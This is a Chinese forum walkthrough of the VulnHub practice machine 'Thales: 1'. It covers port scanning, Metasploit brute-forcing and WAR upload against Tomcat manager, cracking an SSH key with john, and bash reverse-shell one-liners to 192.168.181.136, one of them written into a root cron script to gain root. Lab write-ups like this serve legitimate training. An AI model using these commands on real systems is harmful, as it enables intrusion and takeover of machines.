本帖最后由 Happiness 于 2023-12-18 10:29 编辑
0x01 靶机信息
- 名称:Thales: 1
- 发布日期:2021 年 10 月 16 日
- 作者:[MachineBoy](https://www.vulnhub.com/author/machineboy,723/)
- 系列:Thales
- 难度:中等
- 简介:睁开你的眼睛,改变你的观点。包括 2 个标志:user.txt 和 root.txt。
- 下载链接: [https://download.vulnhub.com/thales/Thales.zip](https://download.vulnhub.com/thales/Thales.zip)
- MD5:3645DD82FF243CE57F245EBEB83055DC
- 网络:DHCP自动分配
复制代码
0x02 Write-Up 2.1 主机发现 - nping --arp 192.168.181.0/24 | grep at
复制代码--arp 使用arp模式 目标机IP:192.168.181.142
2.2 端口扫描 - hping3 192.168.181.142 --scan 1-65523 -S
复制代码--scan 扫描模式(端口),-S SYN模式 扫描出两个端口,22和8080
查看网页是tomcat,点击管理页面
需要用户密码登录
在没有其他提示的情况下,优先尝试爆破tomcat用户和密码
2.3 msf模块爆破tomcat账户 search tomcat 查找tomcat相关模块 找到tomcat_mgr_login模块
- use auxiliary/scanner/http/tomcat_mgr_login
复制代码 use 使用模块 options 查看模块的功能配置 我们需要配置RHOSTS,目标地址
设置完,输入exploit启动 不显示错误消息 这里因为作者使用默认账户密码,所以没有更换字典,使用的是默认字典tomcat_mgr_defalt_pass.txt,利用set PASS_FILE可以更换,爆破出账户密码,tomcat:role1
登录后台
登录成功,查看其他管理页面
这里有一个文件上传可以利用
2.4 利用文件上传获取shell 利用msf的tomcat_mgr_upload模块上传反弹shell - 设置模块配置
- set RHOSTS 192.168.181.142
- 设置目标地址
- set HttpPassword role1
- 设置密码
- set HttpUsername tomcat
- 设置用户名
- set rport 8080
- 设置端口
复制代码
exploit执行获取meterpretershell 在thales家目录下发现一段话,并提示我们有一个backup.sh脚本
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck. 翻译:我为你准备了一个备份脚本。该脚本位于“/usr/local/bin/backup.sh”目录中。祝你好运。 脚本会定期创建备份文件,并且我们有权限修改
backup.sh内容
- #!/bin/bash
- ####################################
- # Backup to NFS mount script.
- # What to backup.
- backup_files="/opt/tomcat/"
- # Where to backup to.
- dest="/var/backups"
- # Create archive filename.
- day=$(date +%A)
- hostname=$(hostname -s)
- archive_file="$hostname-$day.tgz"
- # Print start status message.
- echo "Backing up $backup_files to $dest/$archive_file"
- date
- echo
- # Backup the files using tar.
- tar czf $dest/$archive_file $backup_files
- # Print end status message.
- echo
- echo "Backup finished"
- date
- # Long listing of files in $dest to check file sizes.
- ls -lh $dest
复制代码因为在meterpreter shell下很多命令无法执行,我们退上层继续观察 发现了user.txt (无权限) 和一个ssh私钥
下载私钥破解ssh密码 下载私钥
2.5 利用john破解ssh密码 - ssh2john id_rsa > id_rsa.hash
复制代码格式化为john可读的格式 - john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
复制代码--wordlist指定字典 破解用户thales密码为:vodka06
2.6 利用meterpreter shell 反弹shell到本机 执行bash反弹shell bash 先进入bash,否则会失败 - bash -i >& /dev/tcp/192.168.181.136/5555 0>&1
复制代码
2.7 反弹全交互式shell - 1. python3 -c 'import pty;pty.spawn("/bin/bash")' 然后按Ctrl+Z
- 2. stty raw -echo;fg 然后按回车两次
- 3. export=xterm
复制代码
登录用户thales,成功拿到user的flag
这次可以直观的看到backup.sh是root的文件,我们是可编辑的
写入反弹shell等待执行 - bash -i >& /dev/tcp/192.168.181.136/6666 0>&1
复制代码
2.8 提权至root 成功获取root权限,得到flag
backup.sh 是root的计划任务 每五分钟执行一次
|